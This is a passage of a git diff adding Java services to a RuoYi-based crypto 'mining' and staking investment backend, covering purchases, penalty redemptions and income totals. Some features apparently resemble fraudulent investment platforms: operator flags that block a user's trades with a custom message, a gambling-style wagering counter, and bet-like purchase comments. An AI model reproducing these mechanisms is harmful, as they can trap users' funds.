tAppUserDetail = appUserService.selectUserDetailByUserId(userId); + TMineFinancial mineFinancial = tMineFinancialMapper.selectTMineFinancialById(planId); + //用户等级 + Integer level = Objects.isNull(user.getLevel()) ? 0 : user.getLevel(); + //VIP等级 + if (ClassifyEnum.VIP.getCode().equals(mineFinancial.getClassify())) { + if (level < mineFinancial.getLevel()) { + return MessageUtils.message("mine.level.error"); + } + } + // 交易限制 + Integer tradeFlag = tAppUserDetail.getTradeFlag(); + if (null != tradeFlag) { + if (1 == tradeFlag) { + if (tAppUserDetail.getTradeMessage() == null || tAppUserDetail.getTradeMessage().equals("")) { + return MessageUtils.message("user.push.message"); + } else { + return tAppUserDetail.getTradeMessage(); + } + } + } + // 1. 时间判断, 不能太频繁 + if (Boolean.FALSE.equals(redisCache.hasKey(CachePrefix.MINE_FINANCIAL.getPrefix() + user.getUserId()))) { + redisCache.setCacheObject(CachePrefix.MINE_FINANCIAL.getPrefix()+user.getUserId(), System.currentTimeMillis(), 5000, + TimeUnit.MILLISECONDS); + } else { + return MessageUtils.message("order.10s_retry"); + } + //资产 + TAppAsset tAppAsset = tAppAssetService.getAssetByUserIdAndType(user.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + // 2. 金额判断 + if (Objects.isNull(tAppAsset)) { + return MessageUtils.message("order.amount_error"); + } + if (tAppAsset.getAvailableAmount().compareTo(money) < 0) { + log.debug("钱包金额不足,无法下单, userId:{}, money:{}, wallet:{}", user.getUserId().toString(), money.toPlainString(), tAppAsset.getAvailableAmount().toPlainString()); + return MessageUtils.message("order.amount_error"); + } + // 单个用户单笔下注最小金额 和最大金额 + if (null != mineFinancial.getLimitMin()) { + if (money.compareTo(mineFinancial.getLimitMin()) < 0) { + return MessageUtils.message("order.single.min", mineFinancial.getLimitMin()); + } + } + if (null != mineFinancial.getLimitMax()) { + if (mineFinancial.getLimitMax().compareTo(money) < 0) { + return MessageUtils.message("order.single.max", mineFinancial.getLimitMax()); + } + } + //剩余金额 + if(mineFinancial.getRemainAmount().compareTo(money)<0){ + return MessageUtils.message("order.buy.insufficient", mineFinancial.getRemainAmount()); + } + + if (mineFinancial.getStatus() == 0) { + log.error("此用户异常,已下架,不可下注, userId:{}, 挖矿id:{},挖矿名称:{}", user.getUserId(), mineFinancial.getId(), + mineFinancial.getTitle()); + return MessageUtils.message("product.removed"); + } + TMineOrder order = new TMineOrder(); + order.setAdress(user.getAddress()); + order.setPlanId(planId); + //购买次数 + int count = orderService.count(new LambdaQueryWrapper().eq(TMineOrder::getUserId,userId).eq(TMineOrder::getPlanId,planId)); + //用户购买次数限制 + if(null == mineFinancial.getTimeLimit()){ + TMineUser result = mineUserService.getOne(new LambdaQueryWrapper().eq(TMineUser::getUserId,userId).eq(TMineUser::getId,planId)); + if (Objects.nonNull(result)) { + mineFinancial.setTimeLimit(result.getTimeLimit()); + } + } + if (count >= mineFinancial.getTimeLimit()) { + log.error("此用户已到达限制次数,不允许购买, userId:{}, 挖矿id:{},挖矿名称:{}", user.getUserId(), mineFinancial.getId(), + mineFinancial.getTitle()); + return MessageUtils.message("financial.count.max"); + } + Date now = new DateTime(); + if (Objects.isNull(days)) { + return MessageUtils.message("days.not.null"); + } + String day = mineFinancial.getDays(); + if (!day.contains(days.toString())) { + return MessageUtils.message("days.not.error"); + } + // 下单 + String serialId = "E" + OrderUtils.generateOrderNum(); + Date endTime = DateUtils.dateFormatDay(now, days.intValue()); + //当日利率从接口获取,现在取最小利率 + TMineOrder mineOrder = new TMineOrder(); + mineOrder.setOrderNo(serialId); + mineOrder.setAdress(user.getAddress()); + mineOrder.setPlanId(mineFinancial.getId()); + mineOrder.setCreateTime(new Date()); + mineOrder.setDays(days); + mineOrder.setAmount(money); + mineOrder.setAccumulaEarn(BigDecimal.ZERO); + mineOrder.setEndTime(endTime); + mineOrder.setPlanTitle(mineFinancial.getTitle()); + mineOrder.setMinOdds(mineFinancial.getMinOdds()); + mineOrder.setMaxOdds(mineFinancial.getMaxOdds()); + mineOrder.setDefaultOdds(mineFinancial.getDefaultOdds()); + mineOrder.setAdminUserIds(user.getAdminParentIds()); + mineOrder.setUserId(user.getUserId()); + mineOrder.setType(0L); + mineOrder.setStatus(0L); + mineOrder.setCoin(mineFinancial.getCoin()); + mineOrder.setAvgRate(mineFinancial.getAvgRate()); + mineFinancial.setPurchasedAmount(mineFinancial.getPurchasedAmount().add(money)); + //剩余金额 + mineFinancial.setRemainAmount(mineFinancial.getRemainAmount().subtract(money)); + BigDecimal bigDecimal=mineFinancial.getTotalInvestAmount().subtract(mineFinancial.getRemainAmount()); + mineFinancial.setProcess(bigDecimal.divide(mineFinancial.getTotalInvestAmount(),4, RoundingMode.HALF_UP).multiply(new BigDecimal(100))); + if (redisCache.tryLock(CachePrefix.MINE_FINANCIAL_ORDER.getPrefix() + user.getUserId(), user.getUserId(), 1000)) { + // 先扣钱,再下单 + BigDecimal amout = tAppAsset.getAmout(); + BigDecimal availableAmount = tAppAsset.getAvailableAmount(); + tAppAsset.setAvailableAmount(availableAmount.subtract(money)); + tAppAsset.setAmout(amout.subtract(money)); + tAppAssetService.updateTAppAsset(tAppAsset); + //账变记录 + walletRecordService.generateRecord(user.getUserId(), money, RecordEnum.FINANCIAL_PURCHASE.getCode(), user.getLoginName(), serialId, RecordEnum.FINANCIAL_PURCHASE.getInfo(), availableAmount, availableAmount.subtract(money), tAppAsset.getSymbol(),user.getAdminParentIds()); + //添加订单 + orderService.insertTMineOrder(mineOrder); + //修改产品 + this.updateTMineFinancial(mineFinancial); + //当日收益保存 + log.debug("理财购买提交成功, userId:{}, planId:{},理财产品名字:{} money:{}", user.getUserId(), planId, mineFinancial.getTitle(), money); + //升级vip 和 增加团队金额 操作 + appUserService.toBuilderTeamAmount(mineOrder); + + //理财打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getFinancialIsOpen()) && addMosaic.getFinancialIsOpen()){ + user.setTotleAmont(user.getTotleAmont().add(mineOrder.getAmount())); + appUserService.updateTotleAmont(user); + } + } + + return ""; + } else { + return MessageUtils.message("withdraw.refresh"); + } + } + } + + @Transactional + @Override + public String reCall(String id) { + TMineOrder mineOrder = orderService.getOne(new LambdaQueryWrapper().eq(TMineOrder::getId, id)); + if(CommonEnum.ONE.getCode()==mineOrder.getStatus().intValue()){ + return "订单状态不正确!!"; + } + TAppUser user = appUserService.selectTAppUserByUserId(mineOrder.getUserId()); + mineOrder.setStatus(2L); + TMineFinancial mineFinancial = this.selectTMineFinancialById(mineOrder.getPlanId()); + + BigDecimal odds=mineFinancial.getDefaultOdds().divide(new BigDecimal(100)); + BigDecimal amout=mineOrder.getAmount(); + //增加收益 + TMineOrderDay mineOrderDay = mineOrderDayService.getOne(new LambdaQueryWrapper() + .eq(TMineOrderDay::getOrderNo, mineOrder.getOrderNo()) + .eq(TMineOrderDay::getType, mineOrder.getType()) + .eq(TMineOrderDay::getStatus, CommonEnum.ONE.getCode()) + ); + if (Objects.nonNull(mineOrderDay) && Objects.nonNull(mineOrderDay.getEarn())){ + amout = amout.add(mineOrderDay.getEarn()); + } + int days= DateUtil.daydiff(new Date(),mineOrder.getEndTime()); + //违约金 + BigDecimal bigDecimal=amout.multiply(odds).multiply(new BigDecimal(days)); + //减去违约金 + BigDecimal result=amout.subtract(bigDecimal).setScale(6, RoundingMode.UP); + TAppAsset asset = tAppAssetService.getAssetByUserIdAndType(mineOrder.getUserId(), AssetEnum.FINANCIAL_ASSETS.getCode()); + //减去违约金 + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAvailableAmount(availableAmount.add(result)); + asset.setAmout(asset.getAmout().add(result)); + tAppAssetService.updateTAppAsset(asset); + walletRecordService.generateRecord(user.getUserId(), result, RecordEnum.FINANCIAL_REDEMPTION.getCode(), user.getLoginName(), mineOrder.getOrderNo(), RecordEnum.FINANCIAL_REDEMPTION.getInfo(), availableAmount, asset.getAvailableAmount(), asset.getSymbol(),user.getAdminParentIds()); + mineOrder.setUpdateTime(new Date()); + orderService.updateTMineOrder(mineOrder); + //修改每日收益状态 + if (Objects.nonNull(mineOrderDay)){ + mineOrderDay.setStatus(CommonEnum.TWO.getCode()); + mineOrderDay.setUpdateTime(DateUtils.getNowDate()); + mineOrderDay.setUpdateBy(SecurityUtils.getUsername()); + mineOrderDayService.updateById(mineOrderDay); + } + return ""; + } + + /** + * 个人收益 + * @return + */ + @Override + public Map personalIncome() { + Map map = new HashMap<>(); + //查看个人 总投入 累计收益 + QueryWrapper orderWrapper = new QueryWrapper<>(); + orderWrapper.select("sum(amount) as sumAmount,sum(accumula_earn) as sumEarn"); + orderWrapper.eq("user_id",StpUtil.getLoginIdAsLong()); + Map map1 = orderService.getMap(orderWrapper); + if(!CollectionUtils.isEmpty(map1)){ + map.put("sumAmount",map1.get("sumAmount")==null?BigDecimal.ZERO:map1.get("sumAmount")); + map.put("sumEarn",map1.get("sumEarn")==null?BigDecimal.ZERO:map1.get("sumEarn")); + }else { + map.put("sumAmount",BigDecimal.ZERO); + map.put("sumEarn",BigDecimal.ZERO); + } + //查看个人 持仓数量 + QueryWrapper orderWrapper1 = new QueryWrapper<>(); + orderWrapper1.select("sum(amount) as position"); + orderWrapper1.eq("status",0); + orderWrapper1.eq("user_id",StpUtil.getLoginIdAsLong()); + Map map2 = orderService.getMap(orderWrapper1); + if(!CollectionUtils.isEmpty(map2)){ + map.put("position",map2.get("position")==null?BigDecimal.ZERO:map2.get("position")); + }else { + map.put("position",BigDecimal.ZERO); + } + //当日赚取 + QueryWrapper orderWrapper2 = new QueryWrapper<>(); + orderWrapper2.select("sum(amount) as commission"); + orderWrapper2.eq("user_id",StpUtil.getLoginIdAsLong()); + orderWrapper2.eq("type",RecordEnum.FINANCIAL_SETTLEMENT.getCode()); + Map map3 = walletRecordService.getMap(orderWrapper2); + if(!CollectionUtils.isEmpty(map3)){ + map.put("commission",map3.get("commission")==null?BigDecimal.ZERO:map3.get("commission")); + }else { + map.put("commission",BigDecimal.ZERO); + } + return map; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java new file mode 100644 index 0000000..1028a71 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java @@ -0,0 +1,99 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineOrderDay; +import com.ruoyi.bussiness.mapper.TMineOrderDayMapper; +import com.ruoyi.bussiness.service.ITMineOrderDayService; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +public class TMineOrderDayServiceImpl extends ServiceImpl implements ITMineOrderDayService +{ + @Autowired + private TMineOrderDayMapper tMineOrderDayMapper; + + /** + * 查询【请填写功能名称】 + * + * @param amount 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineOrderDay selectTMineOrderDayByAmount(BigDecimal amount) + { + return tMineOrderDayMapper.selectTMineOrderDayByAmount(amount); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineOrderDayList(TMineOrderDay tMineOrderDay) + { + return tMineOrderDayMapper.selectTMineOrderDayList(tMineOrderDay); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineOrderDay(TMineOrderDay tMineOrderDay) + { + tMineOrderDay.setCreateTime(DateUtils.getNowDate()); + return tMineOrderDayMapper.insertTMineOrderDay(tMineOrderDay); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrderDay 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineOrderDay(TMineOrderDay tMineOrderDay) + { + tMineOrderDay.setUpdateTime(DateUtils.getNowDate()); + return tMineOrderDayMapper.updateTMineOrderDay(tMineOrderDay); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param amounts 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderDayByAmounts(BigDecimal[] amounts) + { + return tMineOrderDayMapper.deleteTMineOrderDayByAmounts(amounts); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param amount 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderDayByAmount(BigDecimal amount) + { + return tMineOrderDayMapper.deleteTMineOrderDayByAmount(amount); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java new file mode 100644 index 0000000..a4d5976 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java @@ -0,0 +1,105 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TMineOrder; +import com.ruoyi.bussiness.domain.setting.FinancialSettlementSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineOrderMapper; +import com.ruoyi.bussiness.service.ITMineOrderService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +public class TMineOrderServiceImpl extends ServiceImpl implements ITMineOrderService +{ + @Resource + private TMineOrderMapper tMineOrderMapper; + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineOrder selectTMineOrderById(Long id) + { + return tMineOrderMapper.selectTMineOrderById(id); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineOrder 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineOrderList(TMineOrder tMineOrder) + { + return tMineOrderMapper.selectTMineOrderList(tMineOrder); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineOrder(TMineOrder tMineOrder) + { + tMineOrder.setCreateTime(DateUtils.getNowDate()); + return tMineOrderMapper.insertTMineOrder(tMineOrder); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineOrder 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineOrder(TMineOrder tMineOrder) + { + tMineOrder.setUpdateTime(DateUtils.getNowDate()); + return tMineOrderMapper.updateTMineOrder(tMineOrder); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderByIds(Long[] ids) + { + return tMineOrderMapper.deleteTMineOrderByIds(ids); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineOrderById(Long id) + { + return tMineOrderMapper.deleteTMineOrderById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java new file mode 100644 index 0000000..0f56494 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java @@ -0,0 +1,94 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; + +import com.ruoyi.bussiness.domain.TMineUser; +import com.ruoyi.bussiness.mapper.TMineUserMapper; +import com.ruoyi.bussiness.service.ITMineUserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +public class TMineUserServiceImpl extends ServiceImpl implements ITMineUserService +{ + @Autowired + private TMineUserMapper tMineUserMapper; + + /** + * 查询【请填写功能名称】 + * + * @param userId 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineUser selectTMineUserByUserId(Long userId) + { + return tMineUserMapper.selectTMineUserByUserId(userId); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineUser 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineUserList(TMineUser tMineUser) + { + return tMineUserMapper.selectTMineUserList(tMineUser); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineUser(TMineUser tMineUser) + { + return tMineUserMapper.insertTMineUser(tMineUser); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineUser 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineUser(TMineUser tMineUser) + { + return tMineUserMapper.updateTMineUser(tMineUser); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param userIds 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineUserByUserIds(Long[] userIds) + { + return tMineUserMapper.deleteTMineUserByUserIds(userIds); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param userId 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineUserByUserId(Long userId) + { + return tMineUserMapper.deleteTMineUserByUserId(userId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java new file mode 100644 index 0000000..f1b5220 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java @@ -0,0 +1,264 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.core.date.DateTime; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; +import java.util.concurrent.TimeUnit; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.*; +import jnr.ffi.annotations.In; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMingOrderMapper; +import org.springframework.web.bind.annotation.RequestBody; + +import javax.annotation.Resource; +import javax.management.ObjectName; + +/** + * mingService业务层处理 + * + * @author ruoyi + * @date 2023-08-18 + */ +@Service +public class TMingOrderServiceImpl extends ServiceImpl implements ITMingOrderService { + @Autowired + private TMingOrderMapper tMingOrderMapper; + + @Resource + private ITAppUserService appUserService; + + @Resource + private ITAppAssetService appAssetService; + + @Resource + private ITAppWalletRecordService appWalletRecordService; + + @Resource + private ITMingProductService mingProductService; + @Resource + private ITMingProductUserService mingProductUserService; + @Resource + private SettingService settingService; + + /** + * 查询ming + * + * @param id ming主键 + * @return ming + */ + @Override + public TMingOrder selectTMingOrderById(Long id) { + return tMingOrderMapper.selectTMingOrderById(id); + } + + /** + * 查询ming列表 + * + * @param tMingOrder ming + * @return ming + */ + @Override + public List selectTMingOrderList(TMingOrder tMingOrder) { + return tMingOrderMapper.selectTMingOrderList(tMingOrder); + } + + /** + * 新增ming + * + * @param tMingOrder ming + * @return 结果 + */ + @Override + public int insertTMingOrder(TMingOrder tMingOrder) { + tMingOrder.setCreateTime(DateUtils.getNowDate()); + return tMingOrderMapper.insertTMingOrder(tMingOrder); + } + + /** + * 修改ming + * + * @param tMingOrder ming + * @return 结果 + */ + @Override + public int updateTMingOrder(TMingOrder tMingOrder) { + tMingOrder.setUpdateTime(DateUtils.getNowDate()); + return tMingOrderMapper.updateTMingOrder(tMingOrder); + } + + /** + * 批量删除ming + * + * @param ids 需要删除的ming主键 + * @return 结果 + */ + @Override + public int deleteTMingOrderByIds(Long[] ids) { + return tMingOrderMapper.deleteTMingOrderByIds(ids); + } + + /** + * 删除ming信息 + * + * @param id ming主键 + * @return 结果 + */ + @Override + public int deleteTMingOrderById(Long id) { + return tMingOrderMapper.deleteTMingOrderById(id); + } + + @Override + public String bugMingOrder(Long planId, BigDecimal amount, Long userId) { + TAppUser user = appUserService.selectTAppUserByUserId(userId); + TAppUserDetail tAppUserDetail = appUserService.selectUserDetailByUserId(userId); + Integer tradeFlag = tAppUserDetail.getTradeFlag(); + if (null != tradeFlag) { + if (1 == tradeFlag) { + if (tAppUserDetail.getTradeMessage() == null || tAppUserDetail.getTradeMessage().equals("")) { + return MessageUtils.message("user.push.message"); + } else { + return tAppUserDetail.getTradeMessage(); + } + } + } + TAppAsset tAppAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, userId).eq(TAppAsset::getSymbol, "usdt")); + TMingProduct tMingProduct = mingProductService.selectTMingProductById(planId); + TMingProductUser tMingProductUser = mingProductUserService.getOne(new LambdaQueryWrapper() + .eq(TMingProductUser::getProductId, planId).eq(TMingProductUser::getAppUserId, userId)); + //判断有没有个人购买限制 + if (Objects.nonNull(tMingProductUser) && Objects.nonNull(tMingProductUser.getPledgeNum())) tMingProduct.setTimeLimit(tMingProductUser.getPledgeNum()); + // 2. 金额判断 + if (Objects.isNull(tAppAsset)) { + return MessageUtils.message("order_amount_error"); + } + if (tAppAsset.getAvailableAmount().compareTo(amount) < 0) { + return MessageUtils.message("order_amount_error"); + } + // 单个用户单笔下注最小金额 和最大金额 + if (null != tMingProduct.getLimitMin()) { + if (amount.compareTo(tMingProduct.getLimitMin()) < 0) { + return MessageUtils.message("order.single.min"); + } + } + if (null != tMingProduct.getLimitMax()) { + if (tMingProduct.getLimitMax().compareTo(amount) < 0) { + return MessageUtils.message("order.single.max"); + } + } + int count = this.count(new LambdaQueryWrapper().eq(TMingOrder::getPlanId, tMingProduct.getId()).eq(TMingOrder::getUserId, userId)); + if (count >= tMingProduct.getTimeLimit()) { + return MessageUtils.message("financial.count.max"); + } + String days = tMingProduct.getDays(); + TMingOrder mineOrder = new TMingOrder(); + mineOrder.setUserId(userId); + mineOrder.setPlanId(planId); + Date now = new DateTime(); + // 下单 + String serialId = "E" + OrderUtils.generateOrderNum(); + Date endTime = DateUtil.dateFormatDay(now, Integer.valueOf(days)); + //当日利率从接口获取,现在取最小利率 + mineOrder.setOrderNo(serialId); + mineOrder.setPlanId(tMingProduct.getId()); + mineOrder.setCreateTime(new Date()); + mineOrder.setDays(Integer.valueOf(days)); + mineOrder.setAmount(amount); + mineOrder.setAccumulaEarn(BigDecimal.ZERO); + mineOrder.setEndTime(endTime); + mineOrder.setPlanTitle(tMingProduct.getTitle()); + mineOrder.setMinOdds(tMingProduct.getMinOdds()); + mineOrder.setMaxOdds(tMingProduct.getMaxOdds()); + mineOrder.setAdminUserIds(user.getAdminParentIds()); + mineOrder.setUserId(user.getUserId()); + mineOrder.setStatus(0); + // 先扣钱,再下单 + BigDecimal bigDecimal = tAppAsset.getAvailableAmount(); + tAppAsset.setAmout(tAppAsset.getAmout().subtract(amount)); + tAppAsset.setAvailableAmount(bigDecimal.subtract(amount)); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.MINING_TO_BUY.getCode(), user.getLoginName(), serialId, "", bigDecimal, bigDecimal.subtract(amount), "USDT", user.getAdminParentIds()); + tMingOrderMapper.insert(mineOrder); + //质押打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getPledgeIsOpen()) && addMosaic.getPledgeIsOpen()){ + user.setTotleAmont(user.getTotleAmont().add(mineOrder.getAmount())); + appUserService.updateTotleAmont(user); + } + } + return "success"; + } + + @Override + public Map selectMingOrderSumList(Long userId) { + Map params = new HashMap<>(); + params.put("userId",userId); + return tMingOrderMapper.selectMingOrderSumList(params); + } + + @Override + public String redemption(Long id) { + //质押赎回 + TMingOrder tMingOrder = tMingOrderMapper.selectTMingOrderById(id); + //项目id + Long planId = tMingOrder.getPlanId(); + //投资金额 + BigDecimal amount = tMingOrder.getAmount(); + TMingProduct product = mingProductService.getById(planId); + //违约利率 + BigDecimal defaultOdds = product.getDefaultOdds(); + //违约金 + BigDecimal multiply = amount.multiply(defaultOdds); + //退还金额 + BigDecimal subtract = amount.subtract(multiply); + + TAppUser user = appUserService.selectTAppUserByUserId(tMingOrder.getUserId()); + TAppAsset tAppAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, tMingOrder.getUserId()).eq(TAppAsset::getSymbol, "usdt")); + BigDecimal bigDecimal = tAppAsset.getAvailableAmount(); + tAppAsset.setAmout(tAppAsset.getAmout().add(subtract)); + tAppAsset.setAvailableAmount(bigDecimal.add(subtract)); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(tMingOrder.getUserId(), subtract, RecordEnum.MINING_REDEMPTION.getCode(), user.getLoginName(), tMingOrder.getOrderNo(), "", bigDecimal, bigDecimal.add(subtract), "USDT", user.getAdminParentIds()); + tMingOrder.setStatus(2); + this.updateTMingOrder(tMingOrder); + return ""; + } + + @Override + public String redemption(Long id, String flag) { + //质押赎回 + TMingOrder tMingOrder = tMingOrderMapper.selectTMingOrderById(id); + //投资金额 + BigDecimal amount = tMingOrder.getAmount(); + + TAppUser user = appUserService.selectTAppUserByUserId(tMingOrder.getUserId()); + TAppAsset tAppAsset = appAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, tMingOrder.getUserId()).eq(TAppAsset::getSymbol, "usdt")); + BigDecimal bigDecimal = tAppAsset.getAvailableAmount(); + tAppAsset.setAmout(tAppAsset.getAmout().add(amount)); + tAppAsset.setAvailableAmount(bigDecimal.add(amount)); + appAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(tMingOrder.getUserId(), amount, RecordEnum.MINING_REDEMPTION.getCode(), user.getLoginName(), tMingOrder.getOrderNo(), "", bigDecimal, bigDecimal.add(amount), "USDT", user.getAdminParentIds()); + tMingOrder.setStatus(2); + tMingOrder.setAccumulaEarn(BigDecimal.ZERO); + this.updateTMingOrder(tMingOrder); + return ""; + } +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java new file mode 100644 index 0000000..9c03309 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMingProductMapper; +import com.ruoyi.bussiness.domain.TMingProduct; +import com.ruoyi.bussiness.service.ITMingProductService; + +/** + * mingProductService业务层处理 + * + * @author ruoyi + * @date 2023-08-18 + */ +@Service +public class TMingProductServiceImpl extends ServiceImpl implements ITMingProductService +{ + @Autowired + private TMingProductMapper tMingProductMapper; + + /** + * 查询mingProduct + * + * @param id mingProduct主键 + * @return mingProduct + */ + @Override + public TMingProduct selectTMingProductById(Long id) + { + return tMingProductMapper.selectTMingProductById(id); + } + + /** + * 查询mingProduct列表 + * + * @param tMingProduct mingProduct + * @return mingProduct + */ + @Override + public List selectTMingProductList(TMingProduct tMingProduct) + { + return tMingProductMapper.selectTMingProductList(tMingProduct); + } + + /** + * 新增mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + @Override + public int insertTMingProduct(TMingProduct tMingProduct) + { + tMingProduct.setCreateTime(DateUtils.getNowDate()); + return tMingProductMapper.insertTMingProduct(tMingProduct); + } + + /** + * 修改mingProduct + * + * @param tMingProduct mingProduct + * @return 结果 + */ + @Override + public int updateTMingProduct(TMingProduct tMingProduct) + { + tMingProduct.setUpdateTime(DateUtils.getNowDate()); + return tMingProductMapper.updateTMingProduct(tMingProduct); + } + + /** + * 